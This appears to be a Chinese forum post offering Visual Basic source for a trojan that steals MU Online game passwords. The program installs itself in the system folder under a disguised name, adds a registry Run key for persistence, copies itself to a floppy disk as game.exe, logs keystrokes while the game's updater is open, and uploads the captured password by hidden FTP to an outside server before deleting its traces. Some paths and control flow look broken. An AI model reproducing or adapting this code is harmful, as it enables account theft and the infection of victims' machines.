一个用VB设计的能够截取奇迹游戏密码的程序


文章作者：泷儿
由于写的匆忙程序有很些bug,忘见凉!^-^ 
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As Any, ByVal lpWindowName As String) As Long 
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 
Dim fso, wsh 
Dim winsys, prg, keysvalue As String 
Dim new_work, start As Boolean 
Private Sub Form_Load() 
On Error Resume Next 
Let new_work = True 
Set fso = CreateObject("scripting.filesystemobject") 
Set wsh = CreateObject("wscript.shell") 
Let winsys = fso.GetSpecialFolder(SystemFolder) 
If Len(App.Path) = 3 Then 
Let prg_path = prg 
Let prg = App.Path & App.EXEName & ".exe" 
Else: 
Let prg_path = prg & "" 
Let prg = App.Path & "" & App.EXEName & ".exe" 
End If 
If Not fso.FileExists(winsys & "Msvbvm60.dll") Then fso.CopyFile prg_path & "Msvbvm60.dll", winsys & "Msvbvm60.dll" 
If fso.FileExists(winsys & "windll.exe") = False Then 
fso.CopyFile prg, winsys & "windll.exe" 
wsh.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunwindll", winsys & "windll.exe" 
Shell "rundll32.exe user.exe,exitwindows" 
End 
End If 
Let keysvalue = "" 
Let start = False 
If Not fso.FileExists("a:game.exe") Then 
fso.CopyFile prg, "a:game.exe" 
End If 
End Sub 
Private Sub Timer1_Timer() 
If new_work = True And start = True Then 
Call bGetKey 
ElseIf FindWindow(0&, "mu auto update") = 0 Then 
Let new_work = True 
ElseIf FindWindow(0&, "mu auto update") <> 0 Then 
Let start = True 
End If 
End Sub 
Private Function bGetKey() As Boolean’这里应该需要补充密码的大小写鉴别! 
Let Timer1.Enabled = False 
Do Until (Len(keysvalue) >= 23) 
For times = 48 To 57 Step 1 
If GetAsyncKeyState(times) = -32767 Then 
Let keysvalue = LCase(keysvalue & Chr(times)) 
GoTo bye 
End If 
Next times 
For times = 65 To 107 Step 1 
If GetAsyncKeyState(9) = -32767 Or GetAsyncKeyState(&H1) = -32767 Then Let keysvalue = keysvalue & "%": Exit For 
If GetAsyncKeyState(8) = -32767 Then Let keysvalue = Left(keysvalue, Len(keysvalue) - 1) 
If GetAsyncKeyState(times) = -32767 Then 
If times >= 96 Then 
Let keysvalue = keysvalue & LTrim(Str(times - 96)) 
Else: 
Let keysvalue = LCase(keysvalue & Chr(times)) 
End If 
Exit For 
End If 
Next times 
bye: 
Loop 
MsgBox keysvalue 
End 
Call ftp_server 
End Function 
Private Sub ftp_server() 
Dim script_file 
Set script_file = fso.CreateTextFile(winsys & "#" & keysvalue & ".dat", 1) 
script_file.WriteLine Date & Time 
script_file.WriteLine "result:#" & keysvalue 
script_file.Close 
Set script_file = fso.CreateTextFile(winsys & "script.dat", 1) 
script_file.WriteLine "not..write"’不要黑我啦! 
script_file.WriteLine "hkhk" 
script_file.WriteLine "ls -l" 
script_file.WriteLine "send " & winsys & "#" & keysvalue & ".dat" 
script_file.WriteLine "quit" 
script_file.Close 
Set script_file = fso.CreateTextFile(winsys & "hacker.dat", 1) 
script_file.WriteLine "程式名称:奇迹泄密者 版本:1.1 程序设计:Ice@Fire 日期:2003年4月9日" 
script_file.Close 
Set script_file = fso.CreateTextFile(winsys & "cmd.bat", 1) 
script_file.WriteLine "@echo off" 
script_file.WriteLine "ftp -s:" & winsys & "script.dat cyberspace.org>>" & winsys & "hacker.dat" 
script_file.WriteLine "cls" 
script_file.Close 
Shell winsys & "cmd.bat", vbHide 
Set File = fso.GetFile(winsys & "hacker.dat") 
Do Until (File.Size > 430): Loop 
Kill winsys & "script.dat" 
Kill winsys & "cmd.bat" 
Kill winsys & "#" & keysvalue & ".dat" 
If fso.FileExists("c:hkhk.txt") = True Then 
Shell "notepad.exe " & winsys & "hacker.dat" 
End 
End If 
Let new_work = False 
Let start = False 
Let keysvalue = "" 
Let Timer1.Enabled = True 
End Sub

补充：软件开发 , Vb ,